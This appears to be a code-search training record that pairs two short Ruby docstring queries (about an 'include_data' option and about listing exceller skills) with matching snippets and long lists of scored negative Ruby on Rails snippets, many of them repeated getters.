[ "0.6900465", "0.6830157", "0.68284994", "0.677376", "0.677376", "0.67707205", "0.6621979", "0.65982276", "0.6594332", "0.6559083", "0.6555713", "0.65178776", "0.65136594", "0.65027237", "0.6499718", "0.6471594", "0.6452202", "0.6444897", "0.6441645", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6433792", "0.6428798", "0.64284176", "0.6418135", "0.64153963", "0.64153445", "0.6414447", "0.64099026", "0.63967144", "0.6391227", "0.63639736", "0.63448644", "0.63448644", "0.63448644", "0.63427854", "0.6331674", "0.63135", "0.6294583", "0.6284597", "0.627932", "0.6275203", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62739444", "0.62546384", "0.6249719", "0.6227987", "0.62258595", "0.6224721", "0.6224721", "0.62198794", "0.62028897", "0.61993235", "0.61993235", "0.61986566", "0.61889505", "0.61789244", "0.6175681", "0.6166755", "0.6160182", "0.6153337", "0.61513215", "0.61508054", "0.61490697", "0.6141379", "0.6127863", "0.6126752" ]
0.0
-1
For certain objects you can get extra data by giving option `include_data`. For example with clips you can add `include_data: "list,via"`.
def fetch(options = {}) validate_collection_options(options) collection_class.new(client.get(base_uri, options).body, client) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def as_json(options = {})\n super(:include => { :member => { :only => [:name, :slug, :image_url] } })\n end", "def as_json(options = {})\n super(options.merge(include: {\n user: { only: [ :name,:id ] }\n }\n ))\n end", "def as_json(options={})\n \t\tsuper(:only => [:firstname,:lastname,:email, :language, :nationality, :birthdate, :phone, :description, :profile_picture, :banner_picture, :number_of_walks, :walking_region, :skills, :is_premium, :pricing, :professional, :is_walker],\n \t:include => {\n \t\t:preference => {:only => [:name]},\n \t\t:experience => {:only => [:value]},\n \t\t:address => {:only => [:street, :number, :numberAddition, :latitude, :longitude, :distance],\n \t\t\t:include => {\n \t\t\t\t\t:city => {:only => [:name]},\n \t\t\t\t\t:country => {:only => [:name]},\n \t\t\t\t}\n \t\t\t}\n \t}\n \t\t)\n\tend", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def as_json(options={})\n\t super(:only => [:name],\n\t :include => {\n\t :app => {:only => [:name, :description, :url_prefix]},\n\t :intent => {:only => [:name]},\n\t :param_map => {:only => [:name, :content]}\n\t }\n\t )\n\tend", "def additional_data\n return @additional_data\n end", "def show\n @data_object = DataObject.find(params[:id]) \n @data_fields = @data_object.data_type.data_fields\n @data_entries = @data_object.data_entries\n end", "def as_json(options={})\n #options[:include] = []\n options[:except] = EXCLUDED_JSON_ATTRIBUTES\n\n super(options)\n end", "def as_json(options={})\n #options[:include] = []\n options[:except] = EXCLUDED_JSON_ATTRIBUTES\n\n super(options)\n end", "def as_json(options={})\n #options[:include] = []\n options[:except] = EXCLUDED_JSON_ATTRIBUTES\n\n super(options)\n end", "def as_json(options={})\n #options[:include] = []\n options[:except] = EXCLUDED_JSON_ATTRIBUTES\n\n super(options)\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def as_json(options = {})\n options[:only] ||= [:id, :order_id, :delivery_date, :delivery_time, :feedback_submitted]\n options[:include] = {\n order_items: { only: [:order_item_id, :meal_name] }\n }\n\n super(options)\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def include_meta(json)\n json\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def show\n render json: @extra\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def as_json(opts={})\n super(opts.merge(:include => :places))\n end", "def object_serialization_options\n {\n :except => [:site_id, :node_type, :position],\n :include => {\n :fields => {\n :except => [:variant_id, :position],\n :methods => [:classification,:options]\n }\n }\n }\n end", "def as_json(_options = {})\n super include: %i[sample_type object_type]\n end", "def json_format\n object.to_json(\n only: [:id, :title, :key_information, :description],\n methods: [:photo_url, :net_mrp, :mrp_per_unit],\n :include => {\n store: {\n only: [:name, :id],\n methods: [:full_address, :logo_url, :store_rating, :store_distance]\n }\n }\n )\n end", "def as_json(options={})\n options[:include] = {\n :organisation => {},\n :locations => { \n methods: :geometry,\n include: :accessibilities\n },\n :taxonomies => { methods: :slug },\n :meta => {},\n :contacts => {},\n :local_offer => {},\n :send_needs => {},\n :suitabilities => {},\n :cost_options => {},\n :regular_schedules => {},\n :links => {}\n }\n super\n end", "def serializable_hash(options = {})\n super(\n :include => {\n :photos => {},:customer => {}, :user => {}\n })\n end", "def include_resource_data\n return @include_resource_data\n end", "def custom_data\n super.attributes\n end", "def serializable_hash (options={})\n options = {\n # declare what we want to show\n only: [:id, :name, :nickname, :address, :latitude, :longitude],\n include: [players: {only: [:id, :name]}] # includes players\n }.update(options)\n\n\n super(options)\n end", "def as_json(options = nil)\n super(options || \n {include: :friends, except: [:created_at, :updated_at, :id]})\nend", "def as_json(options=nil)\n super(include: [:size, :packs, :stocks])\n end", "def json_include()\n return [\n :events,\n :goals,\n :tracker_days,\n # :journal\n ]\n end", "def as_json(options = {})\n attrs = super.except('client_id')\n\n attrs[:client_id] = client.user_id\n attrs[:operator_id] = operator.user_id\n\n if options\n if options[:client]\n attrs[:client] = client.user \n end\n if options[:operator]\n attrs[:operator] = operator.user\n end\n if options[:store] && store\n attrs[:store] = store.as_json(only: [:id, :name])\n end\n if options[:loyalty_program] && loyalty_program\n attrs[:loyalty_program] = loyalty_program.as_json(only: [:id, :name]) \n end\n if options[:promotion] && promotion\n attrs[:promotion] = promotion.as_json(only: [:id, :name]) \n end\n if options[:client_point] && client_point\n attrs[:points] = client_point.initial_points\n end\n end\n\n return attrs\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end" ]
[ "0.6215839", "0.5937635", "0.5932647", "0.5860626", "0.5860626", "0.5860626", "0.5860626", "0.5860626", "0.5860626", "0.5860626", "0.5860626", "0.585223", "0.58469164", "0.5835178", "0.5830633", "0.58296496", "0.58296496", "0.58296496", "0.58287245", "0.58287245", "0.58199966", "0.58144933", "0.57832414", "0.57832414", "0.5755959", "0.57384974", "0.57384974", "0.57384974", "0.57384974", "0.5733146", "0.5730489", "0.5730489", "0.5730489", "0.57156396", "0.5712975", "0.5710205", "0.56929845", "0.5687997", "0.56713724", "0.5656469", "0.5655148", "0.56494653", "0.5644209", "0.56351393", "0.5631266", "0.5631127", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624", "0.5615624" ]
0.0
-1
For certain objects you can get extra data by giving option `include_data`. For example with clips you can add `include_data: "list,via"`.
def [](resource_id, options = {}) response = client.get("#{base_uri}/#{resource_id}", options) if response.success? object_class.new(response.body, client) else raise Kippt::APIError.new("Resource could not be loaded: #{response.body["message"]}") end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def as_json(options = {})\n super(:include => { :member => { :only => [:name, :slug, :image_url] } })\n end", "def as_json(options = {})\n super(options.merge(include: {\n user: { only: [ :name,:id ] }\n }\n ))\n end", "def as_json(options={})\n \t\tsuper(:only => [:firstname,:lastname,:email, :language, :nationality, :birthdate, :phone, :description, :profile_picture, :banner_picture, :number_of_walks, :walking_region, :skills, :is_premium, :pricing, :professional, :is_walker],\n \t:include => {\n \t\t:preference => {:only => [:name]},\n \t\t:experience => {:only => [:value]},\n \t\t:address => {:only => [:street, :number, :numberAddition, :latitude, :longitude, :distance],\n \t\t\t:include => {\n \t\t\t\t\t:city => {:only => [:name]},\n \t\t\t\t\t:country => {:only => [:name]},\n \t\t\t\t}\n \t\t\t}\n \t}\n \t\t)\n\tend", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def as_json(options={})\n\t super(:only => [:name],\n\t :include => {\n\t :app => {:only => [:name, :description, :url_prefix]},\n\t :intent => {:only => [:name]},\n\t :param_map => {:only => [:name, :content]}\n\t }\n\t )\n\tend", "def additional_data\n return @additional_data\n end", "def show\n @data_object = DataObject.find(params[:id]) \n @data_fields = @data_object.data_type.data_fields\n @data_entries = @data_object.data_entries\n end", "def as_json(options={})\n #options[:include] = []\n options[:except] = EXCLUDED_JSON_ATTRIBUTES\n\n super(options)\n end", "def as_json(options={})\n #options[:include] = []\n options[:except] = EXCLUDED_JSON_ATTRIBUTES\n\n super(options)\n end", "def as_json(options={})\n #options[:include] = []\n options[:except] = EXCLUDED_JSON_ATTRIBUTES\n\n super(options)\n end", "def as_json(options={})\n #options[:include] = []\n options[:except] = EXCLUDED_JSON_ATTRIBUTES\n\n super(options)\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def as_json(options = {})\n options[:only] ||= [:id, :order_id, :delivery_date, :delivery_time, :feedback_submitted]\n options[:include] = {\n order_items: { only: [:order_item_id, :meal_name] }\n }\n\n super(options)\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def include_meta(json)\n json\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def show\n render json: @extra\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def as_json(opts={})\n super(opts.merge(:include => :places))\n end", "def object_serialization_options\n {\n :except => [:site_id, :node_type, :position],\n :include => {\n :fields => {\n :except => [:variant_id, :position],\n :methods => [:classification,:options]\n }\n }\n }\n end", "def as_json(_options = {})\n super include: %i[sample_type object_type]\n end", "def json_format\n object.to_json(\n only: [:id, :title, :key_information, :description],\n methods: [:photo_url, :net_mrp, :mrp_per_unit],\n :include => {\n store: {\n only: [:name, :id],\n methods: [:full_address, :logo_url, :store_rating, :store_distance]\n }\n }\n )\n end", "def as_json(options={})\n options[:include] = {\n :organisation => {},\n :locations => { \n methods: :geometry,\n include: :accessibilities\n },\n :taxonomies => { methods: :slug },\n :meta => {},\n :contacts => {},\n :local_offer => {},\n :send_needs => {},\n :suitabilities => {},\n :cost_options => {},\n :regular_schedules => {},\n :links => {}\n }\n super\n end", "def serializable_hash(options = {})\n super(\n :include => {\n :photos => {},:customer => {}, :user => {}\n })\n end", "def include_resource_data\n return @include_resource_data\n end", "def custom_data\n super.attributes\n end", "def serializable_hash (options={})\n options = {\n # declare what we want to show\n only: [:id, :name, :nickname, :address, :latitude, :longitude],\n include: [players: {only: [:id, :name]}] # includes players\n }.update(options)\n\n\n super(options)\n end", "def as_json(options = nil)\n super(options || \n {include: :friends, except: [:created_at, :updated_at, :id]})\nend", "def as_json(options=nil)\n super(include: [:size, :packs, :stocks])\n end", "def as_json(options = {})\n attrs = super.except('client_id')\n\n attrs[:client_id] = client.user_id\n attrs[:operator_id] = operator.user_id\n\n if options\n if options[:client]\n attrs[:client] = client.user \n end\n if options[:operator]\n attrs[:operator] = operator.user\n end\n if options[:store] && store\n attrs[:store] = store.as_json(only: [:id, :name])\n end\n if options[:loyalty_program] && loyalty_program\n attrs[:loyalty_program] = loyalty_program.as_json(only: [:id, :name]) \n end\n if options[:promotion] && promotion\n attrs[:promotion] = promotion.as_json(only: [:id, :name]) \n end\n if options[:client_point] && client_point\n attrs[:points] = client_point.initial_points\n end\n end\n\n return attrs\n end", "def json_include()\n return [\n :events,\n :goals,\n :tracker_days,\n # :journal\n ]\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end", "def additional_data\n return @additional_data\n end" ]
[ "0.62151766", "0.5936212", "0.59310776", "0.5859129", "0.5859129", "0.5859129", "0.5859129", "0.5859129", "0.5859129", "0.5859129", "0.5859129", "0.5850901", "0.5845498", "0.58350766", "0.5830211", "0.5829227", "0.5829227", "0.5829227", "0.58273095", "0.58273095", "0.58185536", "0.58126974", "0.5781887", "0.5781887", "0.57543385", "0.5737198", "0.5737198", "0.5737198", "0.5737198", "0.5732444", "0.57291865", "0.57291865", "0.57291865", "0.57151663", "0.5712384", "0.5709457", "0.56926924", "0.56869113", "0.56699866", "0.565553", "0.56551856", "0.5649463", "0.56423485", "0.5634779", "0.5631102", "0.5628568", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413", "0.5614413" ]
0.0
-1
GET /exceller_skills GET /exceller_skills.json
def index @exceller_skills = ExcellerSkill.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @skills = Skill.all\n\n render json: @skills\n end", "def list_skills\n\t\trender json: Skill.where(language_id: params[:language_id]).to_json\n\tend", "def test_get_skills_route\n render :json => get_profile_skills_for_profile(\"https://www.linkedin.com/in/marissamayer\").to_json\n end", "def skills\n respond_with get_tags_for_contexts([\"skills\", \"reject_skills\"], params[:exclude_tags])\n end", "def index\n\t\tauthorize! :read, Skill\n\t\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @skills }\n end\n end", "def skills(id={}, options={})\n options = parse_id(id, options)\n path = \"#{profile_path(options, false)}/skills\"\n get(path, options)\n end", "def index\n @issue_skills = IssueSkill.all\n render json: @issue_skills\n end", "def index\n @skills = @user.skills\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @skills }\n end\n end", "def index\n @admin_skills = Admin::Skill.all\n\n render json: @admin_skills\n end", "def index\n if params[:id]\n @skills = Skill.where(id:params[:id])\n elsif params[:user_id]\n @skills = Skill.where(user_id:params[:user_id])\n elsif params[:name]\n @skills = Skill.where(name:params[:name])\n else\n @skills = Skill.includes(:user).all() #fix n+1 query\n end\n render json: @skills\n end", "def index\n\t@skills = Skill.all\n end", "def index\n @skills = Skill.all\n end", "def index\n @skills = Skill.all\n end", "def index\n @skills = current_user.skills.all\n end", "def skills_view(skills)\n skills.map { |skill| skill_view(skill) }\n end", "def index\n @desired_skills = DesiredSkill.all\n end", "def index\n @resumes = Resume.all\n render json: @resumes, include: %i[headers educations work_experiences skills]\n end", "def index\n @myskills = Myskill.all\n end", "def skills\n\t\t[]\n\tend", "def show\n render json: @skill\n end", "def show\n @skill = Skill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skill }\n end\n end", "def index\n @profession_skills = ProfessionSkill.all\n end", "def find_skills\n @user = User.find(params[:id])\n @user_skill = UserSkill.where(\"user_id = @user.id\")\n end", "def show\n @skill = @user.skills.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @skill }\n end\n end", "def show\n @skill = @user.skills.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @skill }\n end\n end", "def index\n @current_skills = CurrentSkill.all\n end", "def show\n @employee = Employee.find(params[:id], :include=> :skills)\n end", "def index\n @s_skills = SSkill.all\n end", "def index\n @employees = Employee.search(params[:search]).page(params[:page]).per(8)\n @skills = Skill.all\n\n end", "def show\n @user_skill = UserSkill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_skill }\n end\n end", "def index\n @skill_levels = SkillLevel.all\n end", "def show\n @skill_tag = SkillTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @skill_tag }\n end\n end", "def get_routing_skills_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RoutingApi.get_routing_skills ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/routing/skills\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n query_params[:'id'] = @api_client.build_collection_param(opts[:'id'], :multi) if opts[:'id']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SkillEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RoutingApi#get_routing_skills\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n if params[:user_id]\n @user = User.find(params[:user_id])\n @skill = @user.skills.where(id:params[:id])\n render json: @skill\n elsif params[:id]\n @skill = Skill.where(id:params[:id])\n render json: @skill\n elsif params[:name]\n @skill = Skill.where(name:params[:name])\n render json: @skill\n else\n render json: {result:'nothing found'}\n end\n end", "def index\n @projects_skills = ProjectsSkill.all\n end", "def show\n render json: @admin_skill\n end", "def index\n @culinary_skills = CulinarySkill.all\n end", "def show\n @mostsmallskill = Mostsmallskill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallskill }\n end\n end", "def get_routing_skills_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RoutingApi.get_routing_skills ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/routing/skills\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud Auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SkillEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RoutingApi#get_routing_skills\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @warriors = Warrior.all\n render :json => @warriors, :include => [:skills, :equipment_lists,]\n\n end", "def index\n @skills_users = SkillsUser.all\n end", "def index\n @skill_user_profiles = SkillUserProfile.all\n\n render json: @skill_user_profiles\n end", "def index\n @skill_categories = SkillCategory.includes(:skills)\n # @skills = Skill.all\n end", "def show\n @skill_set = SkillSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skill_set }\n end\n end", "def index\n @special_skills = SpecialSkill.all\n end", "def index\n @crew_skills = CrewSkill.all\n end", "def show\n render json: @skill_user_profile\n end", "def show\n @skill = Skill.find(params[:id])\n\t\tauthorize! :read, Skill\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skill }\n end\n end", "def index\n @opening_skills = OpeningSkill.all\n end", "def index\n @computer_skills = current_user.computer_skills.all\n @computerSkillList = ComputerSkillList.all\n @skillLevel = SkillLevel.all\n end", "def show\n @skillinstance = Skillinstance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skillinstance }\n end\n end", "def index\n @buildskills = Buildskill.all\n end", "def get_skills_with_scores \n self.skills.map do |skill|\n score = skill.grades.find_by(user_id: self.id).score\n {skill: skill, score: score}\n end\n end", "def skillsNeeded\n\t\t[]\n\tend", "def index\n @skills = Skill.all\n skills = Skill.all.map { |skill| [skill.name, skill.id] }\n @options = skills.unshift(['指定なし', nil])\n\n if params[:skill_id].present?\n @users = User.joins(:skills).where(skills: { id: params[:skill_id] })\n else\n @users = User.all\n end\n end", "def index\n\n @skills = Skill.all\n @engineers = Engineer.select_engineer_with_skills.page(params[:page])\n @jobs = Job.all\n @desire_to_works = DesireToWork.all\n\n end", "def index\n @trainees = Trainee.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @trainees.to_json(:except => [:created_at, :updated_at], :include => {:skills => { :except => [:created_at, :updated_at]} }) }\n end\n\n end", "def index\n @experiences = Experience.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @experiences }\n end\n end", "def searchByExperience\n\t\turl = request.original_url\n\t\t\n\t\tbegin\n\n\t\t\tprms = CGI.parse(URI.parse(url).query)\n\n\n\t\t\tresults = Doctor.where(\"experience LIKE ?\", \"%#{prms['experience'][0]}%\")\n\t\t\trender json: results\n\t\trescue Exception => e\n\t\t\trender json: { errors: \"Some errors\" }, status: 422\n\t\tend\n\tend", "def show\n @skill_suggestion = SkillSuggestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skill_suggestion }\n end\n end", "def index\n @experiences = Experience.all\n end", "def index\n @experiences = Experience.all\n end", "def index\n @experiences = Experience.all\n end", "def index\n @skill_lists = SkillList.all\n end", "def show\n @individual_skill_record = IndividualSkillRecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @individual_skill_record }\n end\n end", "def new\n @skill = Skill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @skill }\n end\n end", "def index\n @experiences = Experience.all\n end", "def create\n @saved_skills, @unsaved_skills = [], []\n Skill.parse(params[:skills]).each do |skill|\n s = Skill.new(:name => skill, :user => current_user)\n begin\n s.save!\n @saved_skills << skill\n rescue\n @unsaved_skills << skill\n end\n end\n\n respond_to do |format|\n if @saved_skills.size > 0\n flash[:notice] = \"Skills successfully created: #{@saved_skills.join(', ')}\"\n unless @unsaved_skills.empty?\n flash[:warning] = \"Couldn't save the following skills: #{@unsaved_skills.join(', ')}\"\n end\n format.html { redirect_to(user_skills_path(current_user)) }\n format.xml { render :xml => @saved_skills, :status => :created }\n else\n flash[:error] = \"Couldn't save the following skills: #{@unsaved_skills.join(', ')}\"\n format.html { render :action => \"new\" }\n format.xml { render :xml => @unsaved_skills, :status => :unprocessable_entity }\n end\n end\n end", "def blue_magic_skills\n @skills.select { |id| $data_skills[id].blue_magic }\n end", "def create\n @exceller_skill = ExcellerSkill.new(exceller_skill_params)\n\n respond_to do |format|\n if @exceller_skill.save\n format.html { redirect_to @exceller_skill, notice: 'Exceller skill was successfully created.' }\n format.json { render :show, status: :created, location: @exceller_skill }\n else\n format.html { render :new }\n format.json { render json: @exceller_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @function_experiences = FunctionExperience.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @function_experiences }\n end\n end", "def reject_skills\n respond_with get_tags_for_contexts([\"skills\",\"reject_skills\"], params[:exclude_tags])\n end", "def show\n @skill = Skill.find(params[:id])\n @resource = Resource.new\n @resources = @skill.resources.paginate(page: params[:page])\n end", "def new\n @skill = @user.skills.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @skill }\n end\n end", "def skills\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @character }\n end\n end", "def index\n @skill_slots = SkillSlot.all\n end", "def index\n @skill_inventories = SkillInventory.all\n end", "def get_skills(locator, freelancer)\n find_all(locator, freelancer).map {|skill| skill.text}\n end", "def index\n @skillsets = Skillset.all\n 